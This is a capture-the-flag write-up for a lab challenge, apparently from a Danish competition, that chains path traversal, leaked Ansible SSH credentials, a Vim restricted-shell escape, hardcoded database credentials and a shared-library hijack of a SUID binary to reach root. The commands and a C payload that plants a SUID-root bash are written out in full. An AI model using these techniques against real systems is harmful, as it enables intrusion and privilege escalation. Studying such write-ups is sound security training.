The IOT Gateway 🎛️
From a web dashboard to full root access.
This challenge was solved by a human 🤓
🗒️ Challenge description
Vi har registreret et indbrud i en af vores kritiske industrielle overvågningsgateways. Vi har isoleret containeren, men vi har brug for, at du finder ud af præcis, hvordan angriberen gik fra et tilsyneladende sikkert dashboard til fuld root-adgang.
Flag format:
DDC{...}Start med at opregne webgrænsefladen på
http://gateway.cfire
🧭 Scope
- Target:
http://gateway.cfire - Goal: Identify the full attack path from website access to root.
- Flag format:
DDC{...}
🌐 Dashboard
Opening the URL in a browser reveals a very simple “ICP Gateway Dashboard”, with just one feature: exporting a log file.
The export button leads to http://gateway.cfire/export?file=system.log, which downloads a .log file containing only:
1
System OK. No anomalies detected.
The interesting part is the file query parameter. Any time a web app lets the user decide which file should be returned, it is worth checking for path traversal.
My first instinct was to try /etc/passwd, but the application returned:
1
Absolute paths are not allowed
So absolute paths are blocked, but relative paths still work. By stacking enough ../ segments, we can walk back up to the filesystem root and then read the file we want:
1
../../../../../../etc/passwd
This works and returns /etc/passwd, confirming a local file inclusion/path traversal bug.
📁 Ansible Leak
At this point, the next step is to find a file that turns read access into broader access. The challenge text hints at gateway administration, and /etc/ansible is a good place to look because Ansible inventories sometimes contain SSH users, passwords, hostnames, or deployment secrets.
Trying to download the directory itself gives a useful error:
1
[Errno 21] Is a directory: ...
That confirms the directory exists. A common file inside /etc/ansible is hosts, so I tried reading it:
1
../../../../../etc/ansible/hosts
That gives us:
1
2
[gateway]
127.0.0.1 ansible_connection=ssh ansible_user=maintenance ansible_ssh_pass=SuperSecureMaintenance123!
And there we have it: SSH credentials for the maintenance user.
🔐 SSH Foothold
With the Ansible credentials, we can SSH into the target:
1
2
$ ssh maintenance@gateway.cfire
# password: SuperSecureMaintenance123!
We now have a shell as maintenance, but it is not a normal shell. The first command I usually run is whoami, but here it fails:
1
-rbash: whoami: command not found
We are in a restricted bash shell. Running ls works, but it only shows a bin directory containing ls and view. Those appear to be the only binaries we are allowed to call directly.
Because export is a bash builtin, we can still inspect the environment:
1
$ export
The important bit is:
1
declare -rx PATH="/home/maintenance/bin"
So PATH is locked to /home/maintenance/bin, and it is read-only. Trying to run commands with / in them is blocked too:
1
cannot specify '/' in command names
🧱 Shell Escape
The view binary is Vim running in readonly mode. I do not exactly love Vim keybinds, but Vim is very useful in restricted-shell situations because it can execute shell commands.
Inside view, we can start a normal bash shell:
1
:!/bin/bash
That escapes rbash, but the PATH is still useless. Now that we are in a normal shell, we can overwrite it:
1
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
After that, normal commands like whoami, id, and ls / work again.
🔎 Local Enumeration
We only have maintenance user access, so the next goal is privilege escalation. The usual checks are credentials, writable scripts, misconfigured services, and SUID binaries.
I started by looking for SUID binaries:
1
$ find / -perm -4000 -type f 2>/dev/null
One custom binary stands out:
1
/opt/system-health-check
It is owned by root and has the SUID bit set, meaning it runs with root privileges even when started by a normal user.
Running the binary gives us this output:
1
2
3
4
5
6
--- ICS Gateway System Health Check ---
Loading health check plugin from /var/lib/postgresql/plugins/libcheck.so...
Failed to load plugin: /var/lib/postgresql/plugins/libcheck.so: cannot open shared object file: No such file or directory
Running default basic health checks...
System OK.
--- Health Check Complete ---
The interesting part is the plugin path:
1
/var/lib/postgresql/plugins/libcheck.so
The SUID binary tries to load a shared object from that location, but the file does not exist. That is a strong hint for a shared-library hijack. If we can place a malicious libcheck.so there, the SUID binary may load and execute our code as root.
But we cannot use that yet. When trying to write to the plugin path, we get Permission denied, and checking the directory shows why: it is owned by the postgres user. So the next objective becomes clear: get access as postgres.
🧬 Reversing db_check
Looking around /opt, there is also a gateway directory containing a db_check binary. The name suggests it connects to the local PostgreSQL instance, which is interesting because ps aux shows Postgres is running.
We need database credentials, and db_check is readable by our current user, so I copied it off the box and decompiled it with Ghidra. Dogbolt also works nicely for quick checks.
The decompiled code contains a hardcoded Postgres connection string:
1
2
3
strcpy(v3, "DBAdmin_p0stgr3s_Secr3t");
snprintf(s, 0x100u, "host=127.0.0.1 user=admin password=%s dbname=template1 sslmode=disable", v3);
v1 = PQconnectdb(s);
So we have database credentials:
1
admin:DBAdmin_p0stgr3s_Secr3t
🗄️ The Database
Using those credentials, we can connect to the local PostgreSQL database:
1
2
$ psql -h localhost -U admin -W -d template1
# password: DBAdmin_p0stgr3s_Secr3t
Once inside Postgres, I listed the tables:
1
\dt
The users table looks interesting, and querying it gives another credential pair:
1
2
select * from users;
-- postgres:Psql_S3rv1c3_P@ss
Since the username is postgres, the obvious next test is password reuse against the local system account:
1
2
$ su postgres
# password: Psql_S3rv1c3_P@ss
That works. We are now the postgres user, which means we can finally go back to the missing plugin path from the SUID binary.
🧨 Postgres Plugin Hijack
Earlier, /opt/system-health-check told us exactly what it wanted to load:
1
/var/lib/postgresql/plugins/libcheck.so
Now that we are postgres, we can write to that directory. The plan is:
- Create a malicious shared object.
- Save it as
/var/lib/postgresql/plugins/libcheck.so. - Run the SUID root health-check binary.
- Let the shared object’s constructor execute as root.
The payload copies /bin/bash to /tmp/bash and sets the SUID bit on it:
1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash");
}
Compile it into the plugin location:
1
$ gcc -shared -o /var/lib/postgresql/plugins/libcheck.so -fPIC /tmp/exp.c
Then trigger the SUID binary:
1
$ /opt/system-health-check
If the constructor ran, /tmp/bash is now a SUID-root bash. Start it with -p to preserve the effective UID:
1
2
3
$ /tmp/bash -p
$ id
uid=1001(postgres) gid=1001(postgres) euid=0(root) groups=1001(postgres)
Success. We now have an effective root shell.
🚩 Flag
With root privileges, we can read the flag:
1
$ cat /root/flag.txt
DDC{Industrial_Control_System_1324556}
🤓 TL;DR
- The dashboard export endpoint uses a
fileparameter, which is vulnerable to relative path traversal. - Reading
/etc/ansible/hostsleaks SSH credentials:maintenance:SuperSecureMaintenance123!. - SSH lands in a restricted bash shell, but
viewis Vim, so:!/bin/bashescapes it. - Local SUID enumeration finds
/opt/system-health-check, which tries to load/var/lib/postgresql/plugins/libcheck.so. - We cannot write that plugin as
maintenance, so we pivot toward thepostgresuser. - Decompiling
/opt/gateway/db_checkreveals Postgres credentials:admin:DBAdmin_p0stgr3s_Secr3t. - Querying the database leaks
postgres:Psql_S3rv1c3_P@ss, which works withsu postgres. - As
postgres, we can write the missinglibcheck.soplugin. The SUID health-check binary loads it as root. - The malicious plugin creates a SUID bash at
/tmp/bash, and/tmp/bash -pgives root.